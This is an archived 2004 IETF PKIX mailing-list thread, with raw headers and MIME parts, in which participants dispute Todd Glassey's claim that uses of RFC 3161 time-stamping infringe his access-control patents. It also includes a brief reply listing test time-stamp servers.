  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=[e-mail] href=3D"mailto:[e-mail]">Stephen Kent</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=[e-mail]=20
  href=3D"mailto:[e-mail]">[e-mail]</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Thursday, March 25, 2004 =
2:20=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: Legal Notice on =
RFC3161 Uses=20
  and their possible infringement against Glassey/Mcneil Patents(et =
al).</DIV>
  <DIV><BR></DIV>
  <DIV>Folks,</DIV>
  <DIV><BR></DIV>
  <DIV>Attached is the abstract for Todd's latest patent in this area, =
which he=20
  alluded to in his posting to this list.</DIV>
  <DIV><BR></DIV>
  <DIV>Since RFC 3161 makes no mention of using time stamp info for =
access=20
  control, the likelihood of this RFC infringing seems questionable to =
me, but=20
  that, of course is not a legal opinion.</DIV>
  <DIV><BR></DIV>
  <DIV>If Todd wanted to follow established IETF procedure, as per<FONT=20
  color=3D#000000> RFC 2606</FONT> he should have sent this message to=20
  [e-mail]. In fact Todd did post such a message for his =
previous IPR=20
  assertions in this general area, but maybe he didn't feel that such =
posting=20
  had sufficient dramatic effect.</DIV>
  <DIV><BR></DIV>
  <DIV>Steve</DIV>
  <DIV>-------</DIV>
  <DIV><BR></DIV>
  <DIV><FONT color=3D#000000><BR></FONT></DIV>
  <DIV><FONT color=3D#000000>Controlling access to stored information =
based on=20
  geographical location and&nbsp; date and time</FONT></DIV>
  <DIV><FONT color=3D#000000><BR><B>Abstract</B></FONT><BR><FONT=20
  color=3D#000000><B></B></FONT></DIV>
  <DIV><FONT color=3D#000000>Access to stored information by a user is =
controlled=20
  by comparing an actual&nbsp; geographic position and/or an actual =
date/time=20
  with a geographic region&nbsp; and/or a date/time interval within =
which access=20
  to the stored information&nbsp; is authorized. The actual geographic =
position=20
  where the stored information&nbsp; is located, and the actual =
date/time can be=20
  determined, for example, based&nbsp; on signals received at a receiver =

  supplying reliable position and time&nbsp; information, such as a GPS=20
  receiver. Access to the stored information is&nbsp; authorized if the =
actual=20
  geographic position and/or date/time falls within&nbsp; the authorized =

  geographic region and/or date/time interval. The position&nbsp; and =
date/time=20
  information supplied by the receiver may be&nbsp; cryptographically =
signed and=20
  encrypted.</FONT></DIV></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_02AD_01C41310.E0F14810--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QASNDV099666; Fri, 26 Mar 2004 02:28:23 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2QASNqZ099665; Fri, 26 Mar 2004 02:28:23 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QASLsc099652 for <[e-mail]>; Fri, 26 Mar 2004 02:28:22 -0800 (PST) (envelope-from [e-mail])
Received: from clbull.frcl.bull.fr (IDENT:[e-mail] [129.182.8.31]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id LAA05292; Fri, 26 Mar 2004 11:36:52 +0100
Received: from bull.net (frcls4013.frcl.bull.fr [129.182.108.120]) by clbull.frcl.bull.fr (8.9.3/8.9.3) with ESMTP id MAA27723; Sun, 26 Mar 2000 12:23:04 +0200
Message-ID: <[e-mail]>
Date: Fri, 26 Mar 2004 11:28:14 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull SA.
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en, fr
MIME-Version: 1.0
To: todd glassey <[e-mail]>
CC: [e-mail], [e-mail]
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
References: <032e01c412b0$f3527cf0$010aff0a@gw>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Todd,

On March 26, 2002 you wrote:

"This is not completely true. The other claims of the Surety Patent were not 
struck down as were a number of other timebase management and control 
patents that still exist.

For instance is a patent called "Controlling Access to Stored Information" 
and is listed as EP 997-808 (5-mar-2000). It uses time and positioning 
information in concert and alone to provide a keying and a control system 
for evidentiary use and that of access control as well."

I have some difficulties to understand how this patent relates in anyway 
with RFC 3161, since the first claim of it is:

    A method for controlling access to stored information comprising
    determining an actual geographic position where said stored
    information is located based on signals received at a receiver
    supplying reliable position information, comparing said actual
    geographic position with at least one authorized geographic region,
    and permitting access to said stored, information if said actual
    geographic position is within said authorized geographic region.

This is however related to GPS, DVD or CD technology which is out of the 
scope of RFC 3161.

  .. but you are probably going to explain that I missed something ...

Denis


> Lets talk about legal stuff for a minute... and I don't really need anyone
> to respond to this unless they want to do so with my lawyers.
> 
> ---------------------------------------------------
> 
> Be advised that I am claiming there is an unauthorized identified use of
> RFC3161 that appears to violate parts of the Glassey/McNeil Timestamping
> patent ("Controlling Access to Stored Information" - US 6370629 and EP
> 0997808, et al).  As such, I am formally putting the IETF/IESG on notice
> thereof.
> 
> Further, these same uses may also violate any number of other "Receipt"
> patents issued (including, but not limited to, the original Fisher and Haber
> patents; those of others in the Time Management and in the XML
> Receipt Business), as well as other patents still in the works.
> 
> In light of this notification, please be aware that it is the responsibility
> of the developers to do proper diligence prior to releasing commercial or
> free services using RFC3161 as its base.
> 
> Be advised that we are currently very concerned. If any such RFC3161
> application is used for evidentiary purposes or if it is used to enable
> control of any access to any data, or data in any record structure,
> such use may be in violation of these globally issued patents.
> 
> Obviously, in instances where such violation is evident, we will take swift
> legal steps to protect our patent(s) while preventing any further
> unauthorized use. This would include any violations and damages resulting
> from all those responsible, even National Governments using RFC3161 for
> commercial and audit purposes (including the EU and its member States).
> 
> Please feel free to have the IETF's or IESG's or any other appropriate
> attorney (or Developers wishing to avoid the legal complications of an
> authorized use) contact me regarding this matter for my point of service so
> appropriate licensing can be arranged to protect these patents against such
> infringement involving those Developer's Application Systems .
> 
> Todd Glassey
> Patent Rights Owner and Inventor -US 6370629
> 
> 




Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QAMx8L099399; Fri, 26 Mar 2004 02:22:59 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2QAMxkK099398; Fri, 26 Mar 2004 02:22:59 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mtiwmhc12.worldnet.att.net (mtiwmhc12.worldnet.att.net [204.127.131.116]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QAMwU5099388 for <[e-mail]>; Fri, 26 Mar 2004 02:22:58 -0800 (PST) (envelope-from [e-mail])
Received: from gw (190.san-jose-06-08rs.ca.dial-access.att.net[12.72.194.190]) by worldnet.att.net (mtiwmhc12) with SMTP id <2004032610224611200mrmi3e>; Fri, 26 Mar 2004 10:22:47 +0000
Message-ID: <010601c4131c$3509c020$010aff0a@gw>
From: "todd glassey" <[e-mail]>
To: "Harald Tveit Alvestrand" <[e-mail]>, <[e-mail]>, <[e-mail]>
References:  <032e01c412b0$f3527cf0$010aff0a@gw> <286988657.1080226669@localhost>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Date: Fri, 26 Mar 2004 02:22:03 -0800
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

----- Original Message ----- 
From: "Harald Tveit Alvestrand" <[e-mail]>
To: "todd glassey" <[e-mail]>; <[e-mail]>;
<[e-mail]>
Sent: Thursday, March 25, 2004 2:57 PM
Subject: Re: Legal Notice on RFC3161 Uses and their possible infringement
against Glassey/Mcneil Patents(et al).


>
> Todd,
>
> to be perfectly clear: Is this the technology IPR that you disclosed to
the
> IETF using the disclosure filed as
> <http://www.ietf.org/ietf/IPR/glassey-mcneil-datum-ipr-general.txt>, dated
> May 29, 2003, and no other?

Yes

>
> Will you send in an updated IPR disclosure claiming specifically that you
> believe this IPR to be relevant to RFC 3161?

Harald - I have always said that RFC3161 is not in and of itself the
problem, although depending on what types of payloads the user adds into it,
it sure could be. IMO The real issue is what  you do with 3161 TST's and the
issue there is  that I  believe that almost anything you do with these
tokens is going to violate one patent or another or possibly a combination
of claims across several of the patents since they have similarities. And
yes including McNeils and my rights to the Controlling Access  patents.

Todd

>
> Standard Disclaimer: The IETF takes no position.......
>
>                    Harald
>
> --On 25. mars 2004 13:28 -0800 todd glassey
<[e-mail]>
> wrote:
>
> >
> > Lets talk about legal stuff for a minute... and I don't really need
anyone
> > to respond to this unless they want to do so with my lawyers.
>
>
>
>



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2Q90ptd074117; Fri, 26 Mar 2004 01:00:51 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2Q90piV074116; Fri, 26 Mar 2004 01:00:51 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mtiwmhc13.worldnet.att.net (mtiwmhc13.worldnet.att.net [204.127.131.117]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2Q90oUv074077 for <[e-mail]>; Fri, 26 Mar 2004 01:00:50 -0800 (PST) (envelope-from [e-mail])
Received: from gw (190.san-jose-06-08rs.ca.dial-access.att.net[12.72.194.190]) by worldnet.att.net (mtiwmhc13) with SMTP id <2004032609004311300si8t0e>; Fri, 26 Mar 2004 09:00:44 +0000
Message-ID: <007a01c41310$be2d49a0$010aff0a@gw>
From: "todd glassey" <[e-mail]>
To: <[e-mail]>, "Stephen Kent" <[e-mail]>
References: <032e01c412b0$f3527cf0$010aff0a@gw> <p0602041dbc8909f146e6@[128.89.89.75]>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Date: Fri, 26 Mar 2004 00:53:43 -0800
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_005D_01C412CC.C98FF660"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a multi-part message in MIME format.

------=_NextPart_000_005D_01C412CC.C98FF660
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Re: Legal Notice on RFC3161 Uses and their possible infriSteven - stick =
it.

  ----- Original Message -----=20
  From: Stephen Kent=20
  To: [e-mail]=20
  Sent: Thursday, March 25, 2004 2:20 PM
  Subject: Re: Legal Notice on RFC3161 Uses and their possible =
infringement against Glassey/Mcneil Patents(et al).


  Folks,


  Attached is the abstract for Todd's latest patent in this area, which =
he alluded to in his posting to this list.


  Since RFC 3161 makes no mention of using time stamp info for access =
control, the likelihood of this RFC infringing seems questionable to me, =
but that, of course is not a legal opinion.


  If Todd wanted to follow established IETF procedure, as per RFC 2606 =
he should have sent this message to [e-mail]. In fact Todd did =
post such a message for his previous IPR assertions in this general =
area, but maybe he didn't feel that such posting had sufficient dramatic =
effect.


  Steve
  -------




  Controlling access to stored information based on geographical =
location and  date and time

  Abstract

  Access to stored information by a user is controlled by comparing an =
actual  geographic position and/or an actual date/time with a geographic =
region  and/or a date/time interval within which access to the stored =
information  is authorized. The actual geographic position where the =
stored information  is located, and the actual date/time can be =
determined, for example, based  on signals received at a receiver =
supplying reliable position and time  information, such as a GPS =
receiver. Access to the stored information is  authorized if the actual =
geographic position and/or date/time falls within  the authorized =
geographic region and/or date/time interval. The position  and date/time =
information supplied by the receiver may be  cryptographically signed =
and encrypted.
------=_NextPart_000_005D_01C412CC.C98FF660
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Re: Legal Notice on RFC3161 Uses and their possible =
infri</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<STYLE type=3Dtext/css>BLOCKQUOTE {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
DL {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
UL {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
OL {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
LI {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
</STYLE>

<META content=3D"MSHTML 6.00.2800.1400" name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Steven - stick it.</FONT></DIV>
<DIV>&nbsp;</DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=[e-mail] href=3D"mailto:[e-mail]">Stephen Kent</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=[e-mail]=20
  href=3D"mailto:[e-mail]">[e-mail]</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Thursday, March 25, 2004 =
2:20=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: Legal Notice on =
RFC3161 Uses=20
  and their possible infringement against Glassey/Mcneil Patents(et =
al).</DIV>
  <DIV><BR></DIV>
  <DIV>Folks,</DIV>
  <DIV><BR></DIV>
  <DIV>Attached is the abstract for Todd's latest patent in this area, =
which he=20
  alluded to in his posting to this list.</DIV>
  <DIV><BR></DIV>
  <DIV>Since RFC 3161 makes no mention of using time stamp info for =
access=20
  control, the likelihood of this RFC infringing seems questionable to =
me, but=20
  that, of course is not a legal opinion.</DIV>
  <DIV><BR></DIV>
  <DIV>If Todd wanted to follow established IETF procedure, as per<FONT=20
  color=3D#000000> RFC 2606</FONT> he should have sent this message to=20
  [e-mail]. In fact Todd did post such a message for his =
previous IPR=20
  assertions in this general area, but maybe he didn't feel that such =
posting=20
  had sufficient dramatic effect.</DIV>
  <DIV><BR></DIV>
  <DIV>Steve</DIV>
  <DIV>-------</DIV>
  <DIV><BR></DIV>
  <DIV><FONT color=3D#000000><BR></FONT></DIV>
  <DIV><FONT color=3D#000000>Controlling access to stored information =
based on=20
  geographical location and&nbsp; date and time</FONT></DIV>
  <DIV><FONT color=3D#000000><BR><B>Abstract</B></FONT><BR><FONT=20
  color=3D#000000><B></B></FONT></DIV>
  <DIV><FONT color=3D#000000>Access to stored information by a user is =
controlled=20
  by comparing an actual&nbsp; geographic position and/or an actual =
date/time=20
  with a geographic region&nbsp; and/or a date/time interval within =
which access=20
  to the stored information&nbsp; is authorized. The actual geographic =
position=20
  where the stored information&nbsp; is located, and the actual =
date/time can be=20
  determined, for example, based&nbsp; on signals received at a receiver =

  supplying reliable position and time&nbsp; information, such as a GPS=20
  receiver. Access to the stored information is&nbsp; authorized if the =
actual=20
  geographic position and/or date/time falls within&nbsp; the authorized =

  geographic region and/or date/time interval. The position&nbsp; and =
date/time=20
  information supplied by the receiver may be&nbsp; cryptographically =
signed and=20
  encrypted.</FONT></DIV></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_005D_01C412CC.C98FF660--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2Q7hmFB042716; Thu, 25 Mar 2004 23:43:48 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2Q7hmp2042715; Thu, 25 Mar 2004 23:43:48 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp.cs.auckland.ac.nz (smtp.cs.auckland.ac.nz [130.216.33.151]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2Q7hgFH042636 for <[e-mail]>; Thu, 25 Mar 2004 23:43:42 -0800 (PST) (envelope-from [e-mail])
Received: from medusa01 (medusa01.cs.auckland.ac.nz [130.216.34.33]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by smtp.cs.auckland.ac.nz (Postfix) with ESMTP id 6654F34021; Fri, 26 Mar 2004 19:42:16 +1200 (NZST)
Received: from pgut001 by medusa01 with local (Exim 4.30) id 1B6m0A-0002au-0P; Fri, 26 Mar 2004 19:43:38 +1200
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail]
Subject: Re: TSA for testing
In-Reply-To: <[e-mail]>
Message-Id: <E1B6m0A-0002au-0P@medusa01>
Date: Fri, 26 Mar 2004 19:43:38 +1200
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Massimiliano Farris <[e-mail]> writes:

>I'm making some tests with my TSP client, but I cannot find any testing TSA
>online. Can anyone tell me if there is one?

The best one is at http://www.edelweb.fr/cgi-bin/service-tsp.  There are a
pile of others, most of them inactive, you could also try
tcp://ts2.itsc.cuhk.edu.hk:3318 or tcp://80.81.104.150, which were still
around last year some time.

>What happened to the standardisation process of TSP (RFC3161)?

Victory was declared and everyone went home.

Peter.



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2Q0pmhB084156; Thu, 25 Mar 2004 16:51:48 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2Q0pmxD084155; Thu, 25 Mar 2004 16:51:48 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp23.kolumbus.fi (smtp23.kolumbus.fi [193.229.0.81]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2Q0pkf1084144 for <[e-mail]>; Thu, 25 Mar 2004 16:51:47 -0800 (PST) (envelope-from [e-mail])
Received: from dom1-cn1-hki.dom1.epnet (dom1-cn1-hki.dom1.epnet [172.21.176.70]) by smtp23.kolumbus.fi (8.12.10/8.12.4) with ESMTP id i2Q0nBqS026596; Fri, 26 Mar 2004 02:49:11 +0200 (EET)
Received: from dom1-mb1-hki.dom1.epnet ([172.21.176.65]) by dom1-cn1-hki.dom1.epnet with Microsoft SMTPSVC(5.0.2195.6713); Fri, 26 Mar 2004 02:51:46 +0200
Content-class: urn:content-classes:message
Subject: RE: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
MIME-Version: 1.0
Date: Fri, 26 Mar 2004 02:51:46 +0200
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=SHA1; boundary="----=_NextPart_000_0065_01C412DD.4212D7A0"
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <[e-mail]>
X-MS-Has-Attach: yes
X-MS-TNEF-Correlator: 
Thread-Topic: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Thread-Index: AcQStXiODidWzEckS+qDbemB4P9BMgAAsvaQAAUDF7A=
From: "Vainikainen Saku EINT" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
Cc: "todd glassey" <[e-mail]>
X-OriginalArrivalTime: 26 Mar 2004 00:51:46.0671 (UTC) FILETIME=[83C71FF0:01C412CC]
X-MailScanner-Information: Please contact the service provider for more information
X-MailScanner: Found to be clean
X-MailScanner-MCPCheck: 
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a multi-part message in MIME format.

------=_NextPart_000_0065_01C412DD.4212D7A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit


> Good discussion on patenting "computer-implemented inventions" here in
> Europe:
> 
> http://europa.eu.int/comm/internal_market/en/indprop/comp/index.htm

..and even better in here:

http://swpat.ffii.org

Rgrds,
Saku Vainikainen.


 
> Rgrds,
> Saku Vainikainen
> PKI Specialist
> 
> Elisa Corporation
> Products / Identity Management
> FINLAND
> 
> 
> 
> > -----Original Message-----
> > From: [e-mail] 
> > [mailto:[e-mail]] On Behalf Of todd glassey
> > Sent: Thursday, March 25, 2004 11:29 PM
> > To: [e-mail]; [e-mail]
> > Subject: Legal Notice on RFC3161 Uses and their possible 
> > infringement against Glassey/Mcneil Patents(et al).
> > 
> > 
> > Lets talk about legal stuff for a minute... and I don't 
> > really need anyone
> > to respond to this unless they want to do so with my lawyers.
> > 
> > ---------------------------------------------------
> > 
> > Be advised that I am claiming there is an unauthorized 
> > identified use of
> > RFC3161 that appears to violate parts of the Glassey/McNeil 
> > Timestamping
> > patent ("Controlling Access to Stored Information" - US 
> 6370629 and EP
> > 0997808, et al).  As such, I am formally putting the 
> > IETF/IESG on notice
> > thereof.
> > 
> > Further, these same uses may also violate any number of other 
> > "Receipt"
> > patents issued (including, but not limited to, the original 
> > Fisher and Haber
> > patents; those of others in the Time Management and in the XML
> > Receipt Business), as well as other patents still in the works.
> > 
> > In light of this notification, please be aware that it is the 
> > responsibility
> > of the developers to do proper diligence prior to releasing 
> > commercial or
> > free services using RFC3161 as its base.
> > 
> > Be advised that we are currently very concerned. If any such RFC3161
> > application is used for evidentiary purposes or if it is used 
> > to enable
> > control of any access to any data, or data in any record structure,
> > such use may be in violation of these globally issued patents.
> > 
> > Obviously, in instances where such violation is evident, we 
> > will take swift
> > legal steps to protect our patent(s) while preventing any further
> > unauthorized use. This would include any violations and 
> > damages resulting
> > from all those responsible, even National Governments using 
> > RFC3161 for
> > commercial and audit purposes (including the EU and its 
> > member States).
> > 
> > Please feel free to have the IETF's or IESG's or any other 
> appropriate
> > attorney (or Developers wishing to avoid the legal 
> complications of an
> > authorized use) contact me regarding this matter for my point 
> > of service so
> > appropriate licensing can be arranged to protect these 
> > patents against such
> > infringement involving those Developer's Application Systems .
> > 
> > Todd Glassey
> > Patent Rights Owner and Inventor -US 6370629
> > 
> > 
> 

------=_NextPart_000_0065_01C412DD.4212D7A0
Content-Type: application/x-pkcs7-signature;
	name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="smime.p7s"

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
